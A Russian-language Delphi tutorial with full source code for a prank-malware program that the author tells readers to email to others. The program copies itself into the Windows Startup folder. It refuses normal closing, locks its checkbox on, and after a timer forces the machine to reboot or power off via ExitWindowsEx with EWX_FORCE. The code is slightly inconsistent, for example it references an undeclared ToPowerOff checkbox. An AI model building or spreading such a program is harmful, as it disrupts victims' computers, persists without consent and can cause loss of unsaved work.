Создаем новый проект File -> New -> Application. Закидываем на форму 2 label’a, 1 checkbox, 1 timer с вкладки System, 1 Progressbar с вкладки Win32. У меня форма выглядит так. Для начала сделаем самое простое - объявим нужные для работы переменные. Делать это будем в разделе implementation, зачем - поймешь сам, если ненадолго включишь мозгу. Итак, вводим вот что: var progress : integer; //сколько набежало в прогрессбаре Want2SwitchOff : byte = 0; //сколько раз кликнули по label`у, чтобы прога закрылась ReallyClose : boolean = false;//после 5-ти кликов будет true, и все, финита :) В Object Inspector’e у формы во вкладке Events по событию OnCreate пишим следующий код procedure Form1.FormCreate(Sender: TObject); var Folder: Pchar; List: PitemidList; begin SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List); new(folder); SHGetPathFromIDList(List,folder); ChDir(folder); CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true);// pickup – ваше имя файла end; Данная процедура записывает файл в автозагрузку. Теперь делаем так чтобы пользователь сколько бы не щелкал на checkbox галочка стояла. Дважды щелкаем на checkbox. procedure TForm.checkbox1Click(Sender: TObject); begin checkbox1.Checked:=true; end; Готово! Сейчас сделаем, чтобы прогу обычными средствами (Alf-F4 или крестиком) нельзя было отрубить. Выбираем вкладку 'Events' в свойствах формы (все как обычно в Object Inspector`е), а там создаем обработчик события OnClose. В нем пишем: if (ReallyClose) then Action := caFree else Action := caNone; А для того чтобы прогу можно было всетаки вырубить пишем следующий код: Щелкаем дважды по label1 procedure TSuperForm.Label1Click(Sender: TObject); begin Want2SwitchOff:=Want2SwitchOff + 1; if (Want2SwitchOff=2) then begin ReallyClose:=true; SuperForm.Close(); end; end; Что это такое? Ни что иное, как закрывашка (типа открывашки для пива, только наоборот)! Объясняю: после каждого клика по label`у переменная Want2SwitchOff будет увеличиваться на один. Если она станет равной двух, прога вырубается! Все просто. :) А теперь самое главное сам процесс отрубания виндов. Да, еще нужно сделать, чтобы прогрессбар работал. Думаешь, геморрой? Да всего-то пара строк: Дважды щелкаем по таймеру и вводим следующий код: progress := progress + 1; if (progress <= 100) then ProgressBar.StepIt else begin if (ToReboot.Checked) then ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0); if (ToPowerOff.Checked) then ExitWindowsEx(EWX_POWEROFF or EWX_FORCE, 0); End; Вот и все прога готова скидывайте кому нибудь на почту и ОК. Мое тело программы: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls,ShlObj; type TSuperForm = class(TForm) Label1: TLabel; ProgressBar: TProgressBar; DeathTimer: TTimer; Label2: TLabel; ToReboot: TCheckBox; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Label1Click(Sender: TObject); procedure ToRebootClick(Sender: TObject); procedure DeathTimerTimer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var SuperForm: TSuperForm; implementation var progress:integer; Want2SwitchOff:byte=0; ReallyClose:boolean=false; {$R *.dfm} procedure TSuperForm.FormCreate(Sender: TObject); var Folder: Pchar; List: PitemidList; begin SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List); new(folder); SHGetPathFromIDList(List,folder); ChDir(folder); CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true); end; procedure TSuperForm.ToRebootClick(Sender: TObject); begin ToReboot.Checked:=true; end; procedure TSuperForm.FormClose(Sender: TObject; var Action: TCloseAction); begin if (ReallyClose) then Action := caFree else Action := caNone; end; procedure TSuperForm.Label1Click(Sender: TObject); begin Want2SwitchOff:=Want2SwitchOff + 1; if (Want2SwitchOff=2) then begin ReallyClose:=true; SuperForm.Close(); end; end; procedure TSuperForm.DeathTimerTimer(Sender: TObject); begin progress := progress + 1; if (progress <= 10) then ProgressBar.StepIt else begin if (ToReboot.Checked) then ExitWindowsEx(EWX_FORCE,0); end end; end.
|